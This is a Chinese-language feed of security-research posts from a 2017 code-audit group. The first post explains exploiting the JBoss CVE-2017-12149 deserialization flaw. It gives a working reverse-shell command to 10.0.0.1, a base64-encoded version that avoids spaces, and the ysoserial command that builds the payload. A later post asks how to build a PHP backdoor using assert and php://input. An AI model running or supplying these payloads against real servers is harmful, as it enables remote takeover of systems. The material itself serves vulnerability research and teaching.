你尚未登录

未加入『代码审计』知识星球的用户只能查看少量内容,且不能下载附件。 加入『代码审计』知识星球即可查看所有内容。

2017 十一月 27
JBoss CVE-2017-12149 这个反序列化漏洞,比较标准的readObject(),从原理上没什么好说的。利用方法是直接使用ysoserial生成POC,然后附在HTTP POST包里发送给目标的/invoker/readonly即可。 那我就来说个别的。 #奇技淫巧# 反序列化漏洞中通常使用Runtime.getRuntime().exec()来执行命令,但这个方法和PHP中的shell_exec有一个很大的不同:它执行命令不是使用bash来执行,而是启动这个命令本身。(这又让我想到Python中subprocess.run方法的shell参数,当shell=False的时候,效果也相同) 以bash来执行命令有一个很显著的特征,用Python 3.5来举个例子: import subprocess subprocess.check_output("curl -v example.com/?`whoami`", shell=True) subprocess.check_output(["curl", "-v", "example.com/?`whoami`"], shell=False) 如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。所以,我通过反引号即可执行自己的命令(whoami)。(图1) 如果shell=False的话,启动的是curl这个可执行程序本身,后面的参数不再支持shell语法,只是一个字符串而已。(图2) Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。 所以,有的同学在反序列化漏洞的利用中,执行的命令为 bash -i >& /dev/tcp/10.0.0.1/21 0>&1 ,显然是不会成功的。 那我们改进一下,用bash去执行这一串代码: bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1" 这样理论上就没有问题了,用bash执行这串代码,这里面的特殊符号也就有了实际意义。 但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。 所以上述代码被分割成了["bash", "-c", "\"bash", "-i", ">&", "/dev/tcp/10.0.0.1/21", "0>&1\""],破坏了命令原本的意思,所以也不行。 所以我们还需要来规避空格。规避空格的方法以前也说过很多,各种CTF里也出现过一些,我就不展开说了。 我们可以利用一个在线工具 java.lang.Runtime.exec() Payload Workarounds - @Ja... 来自动生成我们需要的命令。(图3) 比如上述反弹shell的命令被转换成了 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i} 没有空格。这个结果可以直接传给ysoserial来生成POC了: java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

图片


2017 十一月 24
#奇技淫巧# 代码审计知识星球的备份: 【代码审计】知识星球 简单说一下知识星球的备份,主要还是通过调用知识星球的API接口来获取数据,然后将主题、文字、附件、图片、评论、音频等元素依次存入数据库中,并为其增加关系(比如一个主题可以有多个评论,评论之间还有层级关系)。 最后再用bootstrap拼个前端出来就OK啦。之后即使哪天圈子挂了,我们也能查看以前的数据,这是最欣慰的。

图片


2017 十一月 24
同学们,Shodan今天5$啦(原价49$),支持paypal,剁手的赶紧啦
2017 十一月 21
分享个绕过全局过滤规则的审计过程,或许其他用到这个过滤规则的cms也存在同样的问题。

附件


# 附件名 大小 时间 操作
代码审计_多米(DuomiCms)全局过滤规则绕过.pdf 1.7 MB 11/21/2017
2017 十一月 19
【重磅】【头条】【双十一福利】【周年庆活动】抽奖结果 【中奖者请看知识星球的私信】 用如下脚本采集评论并进行抽奖: https://gist.github.com/phith0n/e352b04b731cab2e2eec471fa242e92c 原理说明:采集所有评论,并按评论时间排序,取上次那个周年庆的帖子的发表时间(2017-11-11T13:22:59.487+0800)的时间戳为随机数种子进行抽奖。 最后中奖者: 奖品A: ‮ytiruce3 奖品B: 今晚打老虎 奖品B: 李剑涛 奖品C: NullEvil 奖品C: KID 奖品C: Aar0nFr4nk 奖品C: D.M 奖品C: Evi1hui 奖品D: me7ell 奖品D: r00tuser 应该没什么问题吧,有问题可以说,不过我也不重新抽了 [奸笑],就酱~

图片


2017 十一月 17
分享下一个代码审计案例,主要是记录下审计的心历路程,期待和师傅们聊聊 打后台地址的各种骚姿势~

附件


# 附件名 大小 时间 操作
代码审计_APPCMS SQL-XSS-CSRF-SHELL.pdf 1.4 MB 11/17/2017
2017 十一月 17
#问题解答# 各位师傅,我想用assert、file_get_contents和php://input做后门。在测试的时候,把file_get_contents('php://input')整个作为一个参数不能执行(图里第二行),拆分开就可以执行(图里第四、六行),请问这是什么原因?

图片


2017 十一月 15
#现代cms框架审计系列# 海洋cms 6.55 版本系列,第一篇关于sql注入的,希望对大家有所帮助。[害羞] 代码审计之海洋cms 初级(SQL注入篇)
2017 十一月 14
#问题解答# 各位师傅,我今天在审计一套源码是发现这么一个问题,这个函数使用了stripslashes和htmlspecialchars($data,ENT_QUOTES);这个函数过滤,而stripslashes函数只是过滤\\,那么这个htmlspecialchars函数设置了ENT_QUOTES,能不能绕过呀?

图片